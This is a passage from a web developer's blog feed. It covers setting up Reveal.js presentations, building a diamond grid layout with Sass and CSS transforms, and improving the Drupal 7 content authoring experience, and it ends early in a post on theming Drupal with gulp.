&lt;p&gt;Install &lt;a href=&quot;https://nodejs.org/en/&quot;&gt;Node.js&lt;/a&gt;. If you are on a Mac, I suggest installing Node.js via &lt;a href=&quot;http://brew.sh/&quot;&gt;Homebrew&lt;/a&gt;. I covered this topic in an earlier post, which you can refer to &lt;a href=&quot;/blog/drupal-101-theming-with-gulp/#nodejs&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install &lt;a href=&quot;http://gruntjs.com/getting-started#installing-the-cli&quot;&gt;Grunt&lt;/a&gt;. Once you&apos;ve installed Node.js and npm(Node.js package manager), you can install Grunt&apos;s command line interface using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install -g grunt-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Get the latest version of Reveal.js, either via git clone or just downloading the zipped files directly from the &lt;a href=&quot;https://github.com/hakimel/reveal.js/&quot;&gt;respository&lt;/a&gt; and place those files into your newly created GitHub Pages folder. If you choose to git clone, copy all the files into the aforementioned folder you created earlier, &lt;strong&gt;without&lt;/strong&gt; the &lt;code&gt;.git&lt;/code&gt; folder.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To make sure everything went well, navigate into your newly created GitHub Pages folder which now contains all the Reveal.js files and run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once that&apos;s done (it may take a while depending on your internet connection), run the following command to start the Grunt server:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;grunt serve
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your browser should load up &lt;em&gt;&lt;a href=&quot;http://localhost:8000&quot;&gt;http://localhost:8000&lt;/a&gt;&lt;/em&gt;, which shows your presentation (at this point, it&apos;ll be the Reveal.js presentation). You can change the port number by using &lt;code&gt;grunt server --port XXXX&lt;/code&gt;, where &lt;code&gt;XXXX&lt;/code&gt; can be whatever port number you wish.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Customising your theme&lt;/h2&gt;
&lt;p&gt;Reveal.js already comes with a lot of pretty themes that you can use out of the box simply by changing the main stylesheet on line 18 of the index.html file. If you&apos;re like me, and want to customise your own theme, just duplicate one of the themes in the &lt;em&gt;css/theme/source&lt;/em&gt; folder. I used &lt;code&gt;simple.scss&lt;/code&gt; because it&apos;s the most bare-bones and easiest to customise.&lt;/p&gt;
&lt;p&gt;Most of the default styles from reveal.scss should be kept, but I found the border and box-shadow around images unsuitable for my own theme, so I just removed those. It&apos;s up to you to tweak the CSS to suit your preferences. I wanted the theme to be in line with my own website, so I used the fonts and colours from there instead.&lt;/p&gt;
&lt;h2&gt;My go-to Reveal.js functions&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Speaker mode&lt;/strong&gt;
This is the most awesome thing (at least, in my opinion) about Reveal.js. Just press &lt;kbd&gt;s&lt;/kbd&gt;, and you will get keynote-style previews of the next slide, a timer AND speaker notes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Speaker notes&lt;/strong&gt;
To have speaker notes on each slide, add an &lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt; element with the class &lt;code&gt;notes&lt;/code&gt; to your slide &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nested sections&lt;/strong&gt;
If you wrap multiple sections with another &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt; element, the slides become grouped together vertically. You can use &lt;kbd&gt;spacebar&lt;/kbd&gt; to run the slides in order through each section and its children.&lt;/p&gt;
&lt;h2&gt;Exporting to PDF&lt;/h2&gt;
&lt;p&gt;I tried the integrated export to PDF function that comes with Reveal.js but somehow it didn&apos;t work for me, in that the CSS styles seem to go haywire and my text ended up overlapping into one long messed up section instead of each slide a page. So I tried the recommended alternative, &lt;a href=&quot;https://github.com/astefanutti/decktape&quot;&gt;decktape.js&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This PDF exporter works &lt;strong&gt;brilliantly&lt;/strong&gt;. A big plus is it built with support for Reveal.js. Double win! I cloned the repository into my &lt;em&gt;Applications&lt;/em&gt; folder but you can put it anywhere you like. The instructions on the repository &lt;a href=&quot;http://README.md&quot;&gt;README.md&lt;/a&gt; are straightforward and easy to follow, so just do what it says.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;To get your presentation exported as a PDF, the command I used was:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bin/phantomjs decktape.js reveal http://localhost:8000/ resp-imgs.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One thing is, if you use &lt;a href=&quot;https://github.com/hakimel/reveal.js#fragments&quot;&gt;fragments&lt;/a&gt; in your presentation, each fragment&apos;s reveal state will be in its own slide. If you&apos;re on a Mac, you can just delete those extra slides from your PDF file easily using Preview, but if you&apos;re on another OS, you&apos;ll probably want to find a way to delete those half-revealed slides.&lt;/p&gt;
&lt;h2&gt;Integrating with existing GitHub Pages site&lt;/h2&gt;
&lt;p&gt;My website is a Jekyll-based blog hosted as my main User Page on GitHub, while these slides were in a repository set up as a Project Page, called &lt;em&gt;Slides&lt;/em&gt;. The URL for GitHub Project Pages would be &lt;code&gt;http(s)://&amp;lt;username&amp;gt;.github.io/&amp;lt;projectname&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In my case, my slides project page URL was &lt;code&gt;http://www.chenhuijing.com/slides&lt;/code&gt;. I had originally planned to create a landing page for all my slides as a perma-linked page on my website, but by doing so, it somehow screwed up how GitHub handled the URLs, and it didn&apos;t recognise my Project Page at all. So instead, I recreated that landing page from the page source into an &lt;code&gt;index.html&lt;/code&gt; file in the root folder of &lt;em&gt;Slides&lt;/em&gt; instead. It&apos;s probably easier to understand if you just peeked at my source files.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I&apos;m really happy with what Reveal.js has to offer as a HTML presentation framework. The documentation is really comprehensive, and the author is very responsive on Github issues as well. So if you have to give a talk anytime soon, try skipping Keynote and Powerpoint for Reveal.js instead.&lt;/p&gt;
</content:encoded></item><item><title>Diamond grid layout with Sass</title><link>https://chenhuijing.com/blog/diamond-grid-using-sass/</link><guid isPermaLink="true">https://chenhuijing.com/blog/diamond-grid-using-sass/</guid><description>Since I started my career on the web, I&apos;ve been building websites that follow standard grid layouts. It got to a point where I was telling an intern at my…</description><pubDate>Wed, 14 Oct 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Since I started my career on the web, I&apos;ve been building websites that follow standard grid layouts. It got to a point where I was telling an intern at my company that developers think in rectangles. I mean, there&apos;s nothing wrong with rectangular layouts.&lt;/p&gt;
&lt;p&gt;They&apos;re like your mom&apos;s Volvo, steady and reliable. But sometimes, it&apos;s fun to try something different. I&apos;m lucky enough to work with some awesome designers, and for a new project, they came up with a diamond-based grid layout. Well then, challenge accepted. &lt;span class=&quot;kaomoji&quot;&gt;(•̀o•́)ง&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Attempt 1: Just rotate them divs&lt;/h2&gt;
&lt;p&gt;On the first pass, I hadn&apos;t gotten my hands on the actual design yet, but started experimenting with HTML and CSS first, just to try out a few ideas I had. The first thing that came to mind was using &lt;strong&gt;CSS transforms&lt;/strong&gt;, considering I had already &lt;a href=&quot;/blog/basics-of-css-transforms/&quot;&gt;written about it&lt;/a&gt; earlier.&lt;/p&gt;
&lt;p&gt;Nothing a little &lt;code&gt;transform: rotate(45deg)&lt;/code&gt; couldn&apos;t do, right? Unfortunately, things weren&apos;t all that straightforward. The general layout consisted of 2 small diamonds, 2 medium diamonds and 1 large diamond, all aligned to relative to each other on the grid. There would also be an alternate layout to switch things up a bit.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Main layout&lt;/figcaption&gt;
        &lt;img alt=&quot;Layout 1&quot; srcset=&quot;/images/posts/diamond/layout-1@2x.jpg 2x&quot; src=&quot;/images/posts/diamond/layout-1.jpg&quot;&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Alternate layout&lt;/figcaption&gt;
        &lt;img alt=&quot;Layout 2&quot; srcset=&quot;/images/posts/diamond/layout-2@2x.jpg 2x&quot; src=&quot;/images/posts/diamond/layout-2.jpg&quot;&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;The initial mark-up for the grid was pretty simple. A wrapper for the entire grid, individual wrappers for each diamond and some placeholder content.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;grid-wrapper layout-1&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;grid-item diamond-small diamond-s1&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;diamond__content&amp;quot;&amp;gt;
      &amp;lt;p&amp;gt;small diamond&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid-item diamond-med diamond-m1&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;diamond__content&amp;quot;&amp;gt;
      &amp;lt;p&amp;gt;medium diamond&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid-item diamond-large&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;diamond__content&amp;quot;&amp;gt;
      &amp;lt;p&amp;gt;large diamond&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid-item diamond-small diamond-s2&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;diamond__content&amp;quot;&amp;gt;
      &amp;lt;p&amp;gt;small diamond&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;grid-item diamond-med diamond-m2&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;diamond__content&amp;quot;&amp;gt;
      &amp;lt;p&amp;gt;medium diamond&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sass variables came in very handy in this case as I could create a grid-unit to use as a base for calculating the widths of all the diamonds. I used an arbitrary number of &lt;code&gt;95vw / 16&lt;/code&gt; as the base unit just to see if it would work.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;$gridUnit: 95vw / 16;
$small: $gridUnit * 2;
$med: $gridUnit * 3;
$large: $gridUnit * 4;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some of you who are much smarter than me would immediately recognise that this method would &lt;strong&gt;NOT&lt;/strong&gt; work, at least not without some trigonometry, because you can&apos;t just rotate a bunch of positioned squares and expect them to end up aligned just right.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Piece of cake, just apply rotation...&lt;/figcaption&gt;
        &lt;img alt=&quot;Attempt 1&quot; srcset=&quot;/images/posts/diamond/attempt1a@2x.jpg 2x&quot; src=&quot;/images/posts/diamond/attempt1a.jpg&quot;&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Crap... ಠ_ಠ&lt;/figcaption&gt;
        &lt;img alt=&quot;Attempt 1 fail&quot; srcset=&quot;/images/posts/diamond/attempt1b@2x.jpg 2x&quot; src=&quot;/images/posts/diamond/attempt1b.jpg&quot;&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;h2&gt;Attempt 2: Clip off them divs&lt;/h2&gt;
&lt;p&gt;That didn&apos;t go so well. Next idea on the list, &lt;strong&gt;CSS clip-path&lt;/strong&gt;. This CSS property allows us to define a specified clipping region to be displayed. Anything outside this region will &apos;clipped&apos; and won&apos;t be seen. The clipping region can be a path specified as a URL referencing an inline SVG or an external SVG.&lt;/p&gt;
&lt;p&gt;It can also be a shape method, like those used for &lt;a href=&quot;/blog/why-you-should-be-excited-about-css-shapes/&quot;&gt;CSS shapes&lt;/a&gt;. Unfortunately, support for CSS clip-path is non-existent for any version of Internet Explorer. Firefox only supports the url() syntax, while Chrome supports shapes and inline SVG for the &lt;code&gt;url()&lt;/code&gt; syntax, but not external SVG. I managed to find a cross-browser &lt;a href=&quot;https://github.com/AlfonsoFilho/ClipPath&quot;&gt;polyfill for CSS clip-path&lt;/a&gt;, which should help.&lt;/p&gt;
&lt;p&gt;The idea is that each diamond is actually just a square unit with its corners clipped off, so the length of one square is the diagonal of the diamond. Tweak the variables a little bit, and voila:&lt;/p&gt;
&lt;p data-height=&quot;425&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;gaxbJX&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; class=&apos;codepen&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/huijing/pen/gaxbJX/&apos;&gt;Diamond grid with Sass (Clip-path)&lt;/a&gt; by Chen Hui Jing (&lt;a href=&apos;http://codepen.io/huijing&apos;&gt;@huijing&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;At this point, it seemed that I&apos;d cracked the diamond-grid layout my designer wanted, but I hadn&apos;t looked closely at the actual visuals and art direction. I just assumed it was a grid of diamonds in the background, something I could probably do with CSS. It would also make things easier to line up as they would be using the same base units. I came up with something like this:&lt;/p&gt;
&lt;p data-height=&quot;268&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;JYRVjr&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; class=&apos;codepen&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/huijing/pen/JYRVjr/&apos;&gt;CSS diamond background&lt;/a&gt; by Chen Hui Jing (&lt;a href=&apos;http://codepen.io/huijing&apos;&gt;@huijing&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And then I saw the actual hi-fidelity design. In a nutshell, this grid layout was meant for an image heavy site, essentially serving as a gallery of sorts. The background was made up of tiles of textured diamonds.&lt;/p&gt;
&lt;p&gt;And there would be highlights on some of the corners of the display diamonds to make them pop. Oh, and also, let&apos;s have some box shadows inside each display diamond as well, but only for those displays that contain images. &lt;span class=&quot;kaomoji&quot;&gt;༼⊙_⊙༽&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Okay, back to the drawing board.&lt;/p&gt;
&lt;h2&gt;Attempt 3: High school math to the rescue&lt;/h2&gt;
&lt;p&gt;My third attempt was actually just a reboot of the first attempt. These diamonds are simply squares that got rotated, so I had the benefit of working with isosceles right triangles, which made calculations much neater.&lt;/p&gt;
&lt;img alt=&quot;Isosceles right triangle&quot; srcset=&quot;/images/posts/diamond/trigonometry@2x.jpg 2x&quot; src=&quot;/images/posts/diamond/trigonometry.jpg&quot;&gt;
&lt;p&gt;Since the adjacent and opposite sides of the triangle were equal, the width of each diamond would be the length of the hypotenuse (or the side of the square) divided by the square root of 2. Now here&apos;s the tricky part, there is no direct way to calculate the square root of a number using CSS or Sass. Sorry, no &lt;code&gt;Math.sqrt()&lt;/code&gt; for you. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;The good thing about Sass is you can write your own functions and I, admittedly, being too lazy to write my own, just sourced for a &lt;a href=&quot;http://www.antimath.info/css/sass-sqrt-function/&quot;&gt;square root function&lt;/a&gt; created by &lt;a href=&quot;http://www.antimath.info/about/&quot;&gt;Mihai Vaduva&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@function sqrt($r) {
  $x0: 1;
  $x1: $x0;
  @for $i from 1 through 10 {
    $x1: $x0 - ($x0 * $x0 - abs($r)) / (2 * $x0);
    $x0: $x1;
  }
  @return $x1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Someone pointed out to me that the square root of 2 is a constant and could have just been hard-coded. To quote the famous American philosopher, Homer Simpson, &amp;quot;D&apos;OH!&amp;quot;&lt;/em&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;tired face&quot;&gt;😫&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Now my Sass variables for calculating the grid layout looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;$gridUnit: (100vw / 8);
$transformUnit: $gridUnit / sqrt(2);
$small: $transformUnit * 2;
$med: $transformUnit * 3;
$large: $transformUnit * 4;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There was no way around positioning each display diamond absolutely, at least, I couldn&apos;t think of an alternate way (suggestions are welcome). I tried to structure my classes as efficiently as I could. If history is anything to go by, I&apos;ll probably look back at this and nitpick how I would have written it differently. For now, it&apos;s a long chunk of sizing and positioning based off the base units I established as variables. Couldn&apos;t possibly do this without Sass though.&lt;/p&gt;
&lt;p data-height=&quot;375&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;pjrWaz&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; class=&apos;codepen&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/huijing/pen/pjrWaz/&apos;&gt;Diamond grid with Sass (Transform)&lt;/a&gt; by Chen Hui Jing (&lt;a href=&apos;http://codepen.io/huijing&apos;&gt;@huijing&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Visual styles and art-direction&lt;/h2&gt;
&lt;p&gt;Using CSS to rotate the divs solved the problem of having inner shadows on the diamond displays that were to contain images. As for the background, I ended up tiling a pattern image, then aligning my divs to match up with the pattern.&lt;/p&gt;
&lt;p&gt;Using viewport widths (vw) as the basis for my grid units meant the layout would respond to screen size. Hence, my background image pattern would also have to grow and shrink according to the viewport width as well.&lt;/p&gt;
&lt;p&gt;The problem with this approach is, unless your background image is sized very precisely, it is almost impossible to match the browser-calculated divs with the grid on the image exactly over a large range of screen sizes. A tiny 1 pixel misalignment at a small width usually became very evident at large widths. As the project I was working on wasn&apos;t exactly a fully responsive design, I could get away with it within a smaller range of screen widths.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;body {
  @media screen and (min-width: 1000px) and (max-width: 1919px) {
    background: url(&amp;quot;../img/bg-tile.jpg&amp;quot;) repeat-y;
    background-size: contain;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The trick was to use &lt;code&gt;background-size: contain&lt;/code&gt; for the background image. According to &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/background-size&quot;&gt;MDN&lt;/a&gt;, the browser will scale the image as large as it can while maintaining aspect ratio.&lt;/p&gt;
&lt;p&gt;This coupled with repeat-y gave me a background image that scaled with the viewport width. I tried to make the background tiles the same size as my Sass grid units but I&apos;m pretty sure they were 1 or 2 pixels off. The discrepancy wasn&apos;t very obvious within the constraints of my media query though, so I was fine with that.&lt;/p&gt;
&lt;p&gt;The highlights at certain corners of the display divs were added using the &lt;code&gt;:before&lt;/code&gt; and &lt;code&gt;:after&lt;/code&gt; pseudo-elements on the display divs themselves. These highlights were also were positioned absolutely, and I used the same Sass grid unit values to position them in the correct spots.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This was a very interesting project to work on and really stretched my knowledge and skills as a developer. There was a lot more to this project than just layout, but it was the base off of which the rest of the design was built upon.&lt;/p&gt;
&lt;p&gt;CSS properties like clip-path, transforms and my personal favourite, CSS shapes, provide us a lot of flexibility to explore different layouts. While starting out research for this project, I came across &lt;a href=&quot;https://viget.com/inspire/who-says-the-web-is-just-for-squares&quot;&gt;this article&lt;/a&gt; by &lt;a href=&quot;http://trevordavis.net/&quot;&gt;Trevor Davis&lt;/a&gt; who also had to build a diamond grid for his project.&lt;/p&gt;
&lt;p&gt;It seems that we&apos;re starting to break out of the constraints of rectangular layouts, and I&apos;m confident that as CSS becomes more robust, we&apos;ll be able to pull off more creative designs in the future.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Improving the content authoring experience</title><link>https://chenhuijing.com/blog/drupal-101-improving-content-authoring/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-improving-content-authoring/</guid><description>Episode 101 of Jen Simmons&apos; wonderful podcast The Web Ahead featured content strategist Eileen Webb. Good stuff from start to finish, you should really check…</description><pubDate>Sun, 30 Aug 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Episode 101 of &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&apos;&lt;/a&gt; wonderful podcast &lt;a href=&quot;http://thewebahead.net/101&quot;&gt;The Web Ahead&lt;/a&gt; featured content strategist &lt;a href=&quot;http://webmeadow.com/&quot;&gt;Eileen Webb&lt;/a&gt;. Good stuff from start to finish, you should really check it out. There was one particular point that resonated with me, when they talked about user experience of people whose job is to add content to the website.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Not to get super philosophical, but capitalism isn&apos;t really keen on improving working conditions for employees. It&apos;s not super excited about spending money and energy on making things nicer for the people who you are paying.&lt;br&gt;
― Eileen Webb on The Web Ahead&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Drupal comes with a lot of out-of-the-box functionality that can help make the content editing experience less confusing, provided we, as developers, use them. Placing an emphasis on the content authoring experience will undoubtedly impact the way we build our sites, but I believe this is for the better. And I&apos;m not the only one, which is why Drupal 8 will be shipping with a &lt;a href=&quot;http://wimleers.com/article/drupal-8-structured-content-authoring-experience&quot;&gt;plethora of improvements&lt;/a&gt; on the content authoring front.&lt;/p&gt;
&lt;p&gt;But let&apos;s talk about Drupal 7 for now. I am definitely guilty of occasionally building functionality in a way that made things easy for me as a developer but complicated things for the content editor. In hindsight, I&apos;ve realised that such decisions were short-sighted and usually came back to bite me later on. If I can help make the content editors&apos; lives easier, they&apos;re more willing to use and explore the system on their own. It also means less support tickets for me to resolve.&lt;/p&gt;
&lt;p&gt;If the content creation process is harder than navigating a labyrinth, then we&apos;re doing something wrong. This is where some user research would be helpful. The users, in this case, are the content editors. Often, the user research focuses heavily on the end-user, the people who visit the website, but I found that the most effective solution marries the needs of the visitors with those of the content editors.&lt;/p&gt;
&lt;p&gt;Once we find out the type of content that is most relevant and useful to the visitor, we need to build the site in such a way that makes it easy for the content editors to create such content.&lt;/p&gt;
&lt;h2&gt;Take time to plan the site architecture&lt;/h2&gt;
&lt;p&gt;A well-designed site architecture takes more effort than most people think. The point of using a content management system is to simplify the process of managing content on the site. Create once, use everywhere. Often, we design and build sites based on the content we already have.&lt;/p&gt;
&lt;p&gt;But we also have to take into consideration the type of content that will be created in the future. This means catering for the post-launch content creation process as well.&lt;/p&gt;
&lt;p&gt;What type of content will be generated moving forward? The business goals of the website must be clear to everybody involved and should be the guiding principle behind design and implementation decisions. There are many different field types that can be used in Drupal.&lt;/p&gt;
&lt;p&gt;By planning out the site architecture properly, we can make better choices on the type of fields to use in our content types. Everything can be a text field, but not everything should. Drupal&apos;s Field API, makes it one of the best content management systems which handle structured data really well.&lt;/p&gt;
&lt;p&gt;Putting content in properly formatted fields allows us to manipulate the data for filtering and sorting. For example, putting a date in a date field rather than a text field gives us a lot more flexibility when it comes to extending site functionality that requires use of this data.&lt;/p&gt;
&lt;h2&gt;Be consistent in implementation&lt;/h2&gt;
&lt;p&gt;There are many different ways to achieve the same result in Drupal. For example, say you want to create a listing of recipes which show the title, an image and a short description for each recipe. You could create a view and display individual fields in that view. You could use display suite to create a view mode for use in your view. You could create a custom template file for your view.&lt;/p&gt;
&lt;p&gt;There is no one right way to doing things, but consistency goes a long way for the content creators. If you have various listings but all of them are rendered differently, content editors end up wondering why their content doesn&apos;t display the way they expect it to.&lt;/p&gt;
&lt;p&gt;If you find that you have to explain to your content editor that for articles, the thumbnail image uses the first image in the multi-value images field but for events, you need to upload the thumbnail in the thumbnail field instead. But the events in the newsfeed actually use the image from the image field… &lt;span class=&quot;kaomoji&quot;&gt;(╯°□°）╯︵ ┻━┻&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;You get the picture.&lt;/p&gt;
&lt;h2&gt;Provide clear instructions in the help text&lt;/h2&gt;
&lt;p&gt;I, like many other developers, have found myself assuming the content editors or users of the website know exactly what I know in terms of the site&apos;s functionality and navigation. To be fair, if we built the site, we&apos;re not exactly the best people to judge how usable the site is. Which is why it is important to ask someone who is unfamiliar with the site to try it out. The actual content editors would be nice.&lt;/p&gt;
&lt;p&gt;They will often provide the best insight on how to improve the usability of your site. I understand that sometimes we are reluctant to show clients work in progress, that we have a fear that the client will fire us for wasting their time on half-finished work.&lt;/p&gt;
&lt;p&gt;I feel that if we explain our rationale for asking them to test early, in fact, put it up front during the requirements gathering stage that this is part of the development process, most clients are on-board with it.&lt;/p&gt;
&lt;p&gt;Drupal already has the structure in place to be user-friendly from a content creator&apos;s perspective. Every field we create in Drupal comes with a help text section. Some developers fill in this field a brief instruction, some even leave it blank. I say, FILL IT UP PROPERLY!&lt;/p&gt;
&lt;p&gt;To me, this is a task that is almost effortless if you do it while building out your content types&apos; fields but a gargantuan one if you leave it till the end of the project to implement. If your test users are asking, what does this field mean? You probably need to structure your help text better, or even rename your fields.&lt;/p&gt;
&lt;h2&gt;Education and awareness among users&lt;/h2&gt;
&lt;p&gt;No matter how much effort you put into designing and planning your site architecture, it won&apos;t mean much if your users don&apos;t fully understand how to use it. I&apos;m pretty sure most of us have had the experience of checking in on a website we handed over to our clients a few months later only to find inconsistent formatting, the odd font being used, data in the wrong fields and other things that make us go &lt;span class=&quot;kaomoji&quot;&gt;ᕙ(⇀‸↼‶)ᕗ&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;But I realised that the responsibility lay with me, as the web professional, to educate the users on best practice. I was guilty of assuming that users would use the system the way I wanted them to without spending the time and effort to teach them how to.&lt;/p&gt;
&lt;p&gt;Of course, if you need to run a week-long training session just to enter content, the site may have some usability issues you may want to address. But users need to know that the point of using a system is to ensure consistency in terms of design and data presentation.&lt;/p&gt;
&lt;p&gt;Users need to understand the flow of the content creation process and use each field for its intended purpose. They also need to understand exactly how and where the content they create will be displayed on different parts of the site.&lt;/p&gt;
&lt;h2&gt;Wrapping-up&lt;/h2&gt;
&lt;p&gt;Content structure is something that all of us need to pay more attention to, and I feel that there has been an increase in awareness of the importance of content strategy in recent years, but it isn&apos;t enough. The web is an informational medium where content is king.&lt;/p&gt;
&lt;p&gt;Sites that do well are those which can present the information that people need in the best way possible. Hence it makes sense that we create a content authoring experience that can facilitate the creation of quality content on the web.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Theming Drupal 7 with gulp</title><link>https://chenhuijing.com/blog/drupal-101-theming-with-gulp/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-theming-with-gulp/</guid><description>If you write a lot of custom Drupal themes, gulp can really help streamline your workflow. Every second saved counts.</description><pubDate>Sun, 16 Aug 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Update: There&apos;s a newer post that covers the &lt;a href=&quot;/blog/drupal-101-theming-with-gulp-again/&quot;&gt;gulp setup for theming Drupal 8&lt;/a&gt; which highlights a few changes from this post. Don&apos;t worry, the changes are rather minor and most of this post is still relevant.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I still remember the first Drupal 7 theme I built. It was for the &lt;a href=&quot;/blog/the-one-i-cut-my-teeth-on/&quot;&gt;Singapore Gastric Cancer Consortium website&lt;/a&gt;, and at the time I barely knew my way around HTML and CSS. I used the &lt;a href=&quot;https://www.drupal.org/project/zen&quot;&gt;Zen&lt;/a&gt; theme as my starter theme, and unknowingly wrote my CSS in &lt;code&gt;.scss&lt;/code&gt; files without realising the distinction.&lt;/p&gt;
&lt;p&gt;I was a little bit confused to why I needed to install a software called Codekit to make everything work but was too busy trying to get the theme up and running to worry about it at the time.&lt;/p&gt;
&lt;h2&gt;Let&apos;s talk about that thing called Sass&lt;/h2&gt;
&lt;p&gt;After I finished up with that project, I took the time to understand exactly what was going on. That&apos;s when I learned what Sass was. Sass, like CSS, is a stylesheet language. It was developed as part of the HAML markup language, but has since grown into its own.&lt;/p&gt;
